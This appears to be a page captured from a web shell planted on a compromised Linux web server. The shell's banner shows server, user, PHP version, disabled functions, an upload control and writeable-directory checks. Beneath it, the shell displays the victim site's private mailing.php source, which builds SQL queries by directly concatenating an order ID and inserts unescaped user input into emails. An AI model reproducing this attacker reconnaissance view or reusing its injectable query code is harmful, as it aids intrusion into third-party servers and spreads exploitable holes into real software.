Jokeir 07x HK Morocco





Server : Apache/2
System : Linux server1.tkcorporation.co.th 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 i686
User : ifixit ( 537)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source
Directory :  /home/ifixit/domains/ifixit.co.th/public_html/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/ifixit/domains/ifixit.co.th/public_html/assets/mailing.php
<?php
require '../assets/PHPMailer/PHPMailerAutoload.php';
function mail_temp_regist($cust_mail,$key,$cname){
	include 'mail.inc.php';
    //$mail->Subject = "=?utf-8?b?".base64_encode("Activated your email")."?=";
	$mail->Subject = "Activated your email";
    //$mail->AddAddress("[email protected]","Keang Thanawat");
	$mail->AddAddress($cust_mail, $cname);
	$mail->AddAddress('[email protected]', $cname);
//$address = "[email protected]";
//$mail->AddAddress($address, " ");
    $message = " 
<span style='color:#666;font-size:16px;font-family: 'Kanit', sans-serif;'><b>Dear ".$cname."</b><span>
<br /><br />
<p><span style='font-size:16px;color:#666'>Thank you for registration</span></p><br>
<p><span style='padding:10px;border: solid 1px #666;border-radius:10px;'>Your temporary key : <b>" . $key . "</b></span></p>
<br /><br />
<span style='font-size:14px;color:#666;font-family: 'Kanit', sans-serif;'><a href='".$host."/register.php?mail=".$cust_mail."'>Activate account<a></span><br>
<a href='".$host."/register.php?mail=".$cust_mail."'>".$host."/register.php?mail=".$cust_mail."<a>

<br /><br />
<span style='font-size:16px;color:#666;font-family: 'Kanit', sans-serif;'>Thank you,</span><br><BR><hr>
";
    $mail->Body = $message.$signature;
    if (!$mail->Send()) {
        return "Mailer Error: " . $mail->ErrorInfo;
    } else {
        return "OK";
    }
}
function mail_refer($f_name,$token,$f_mail,$f_msg){
    include 'mail.inc.php';
    $mail->Subject = "=?utf-8?b?".base64_encode("Hi your friend invite you to join us")."?=";
    $address = $f_mail;
    $mail->AddAddress($address, " ");
//$address = "[email protected]";
//$mail->AddAddress($address, " ");
    $message = " 
<span style='color:#666;font-size:16px;font-family: 'Kanit', sans-serif;'><b>Dear ".$f_name.",</b><span>
<br /><br />
<p><span style='font-size:16px;color:#666'></span>your friend invite you to join us</p>
<p><span style='font-size:18px;color:#666'></span>".$f_msg."</p>
<br />
<span style='font-size:14px;color:#666;font-family: 'Kanit', sans-serif;'>Join us <a href='".$host."/register.php?token=".$token."'>Here!<a></span><br>
<br /><br />
<span style='font-size:16px;color:#666;font-family: 'Kanit', sans-serif;'>Best Regards,</span><br><BR><hr>
";
    $mail->Body = $message.$signature;
    if (!$mail->Send()) {
        return "Mailer Error: " . $mail->ErrorInfo;
    } else {
        return "OK";
    }
}
function mail_order($order_id){
    include 'mail.inc.php';
	$s="select * from order_list
	inner join acc_list on order_list.acc_id = acc_list.acc_id
	inner join p_cat on order_list.cat_id = p_cat.cat_id
	inner join p_time on order_list.time_id = p_time.time_id
	inner join p_lv on order_list.lv_id = p_lv.lv_id
	inner join g_price_type on order_list.price_type_id = g_price_type.price_type_id
	where order_id = ".$order_id;
	$q=mysql_query($s) or die(printf($s));
	if($f=mysql_fetch_array($q)){
		$mail->Subject = "Order confirmation Perfect Dissertation Service #".$order_id;
		$mail->AddAddress($f['acc_email'], $f['acc_name']." ".$f['acc_lname']);
		$message = "
	<span style='color:#666;font-size:16px;'><b>Dear ".$f['acc_name']." ".$f['acc_lname'].",</b><span>
	<br /><br />
	<p style='font-size:16px;color:#666;text-align:left'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		Thank you for submitting your order details at perfectdissertationservice.com on ".date('d/m/Y').". Kindly make
a note that your order ID is ".$order_id.". This mail has been generated to inform you that your
order details have been successfully received and we assure you that our writers will get
your document completed within the provided deadline.<BR><BR>
In order to serve our esteemed and prosperous customers, we are using the most secure and
safest mode of payments to ensure a protected transaction mode. As soon as you pay for
your order, you will be getting a sales receipt at [email protected], which
assures that your payment has been processed successfully. In case you do not receive a
payment confirmation mail Click Here to pay for your order again. If the link seems to be
void then copy and paste the below link in your browser.
	</p>
    <a href='".$host."/payment.php?order=".$order_id."' target='_blank' style='font-weight:500;color:#666;'>".$host."/payment.php?order=".$order_id."</a>
    <br /><br />
	<p>For any further concerns, it is requested to please get back to us and we assure you that we
will get all your concerns resolved as we are here to assist you at our optimums.
</p><BR><BR>";
		$mail->Body = $message.$signature;
		if (!$mail->Send()) {
			return "Mailer Error: " . $mail->ErrorInfo;
		} else {
			return "OK";
		}
	}
}
function mail_pay($order_id,$pay_total){
    include 'mail.inc.php';
	$s="select * from order_list
	inner join acc_list on order_list.acc_id = acc_list.acc_id
	where order_id = ".$order_id;
	$q=mysql_query($s) or die(printf($s));
	if($f=mysql_fetch_array($q)){
		$mail->Subject = "Payment confirmation order #".$order_id;
		$mail->AddAddress($f['acc_email'], $f['acc_name']." ".$f['acc_lname']);
		$message = "
	<span style='color:#666;font-size:16px;'><b>Dear ".$f['acc_name']." ".$f['acc_lname'].",</b><span>
	<br /><br />
	<p style='font-size:16px;color:#666;text-align:left'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		Thank you for submit payment on ".date('d/m/Y').".<BR>
		We will quickly check and notify you as soon as possible.<BR> 
		You can check your order progress in your personal menu<BR>
	</p>
    <a href='".$host."/login' target='_blank' style='font-weight:500;color:#666;'>".$host."/login</a>
    <br /><br />
	<p>For any further concerns, it is requested to please get back to us and we assure you that we
will get all your concerns resolved as we are here to assist you at our optimums.
</p><BR><BR>";
		$mail->Body = $message.$signature;
		if (!$mail->Send()) {
			return "Mailer Error: " . $mail->ErrorInfo;
		} else {
			return "OK";
		}
	}
}
function mail_msg($order_id,$msg){
    include 'mail.inc.php';
	$s="select * from order_list
	inner join acc_list on order_list.acc_id = acc_list.acc_id
	where order_id = ".$order_id;
	$q=mysql_query($s) or die(printf($s));
	if($f=mysql_fetch_array($q)){
		$mail->Subject = "Message from order #".$order_id;
		$mail->AddAddress('[email protected]', "System Administrator");
		$message = "
	<span style='color:#666;font-size:16px;'><b>Dear Admin,</b><span>
	<br /><br />
	<p style='font-size:16px;color:#666;text-align:left'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
		Customer add new msg from order ".$order_id."<BR>
		Detail<BR><HR>
		".$msg."<BR>
	</p>";
		$mail->Body = $message.$signature;
		if (!$mail->Send()) {
			return "Mailer Error: " . $mail->ErrorInfo;
		} else {
			return "OK";
		}
	}
}

COPYRIGHT Dimax66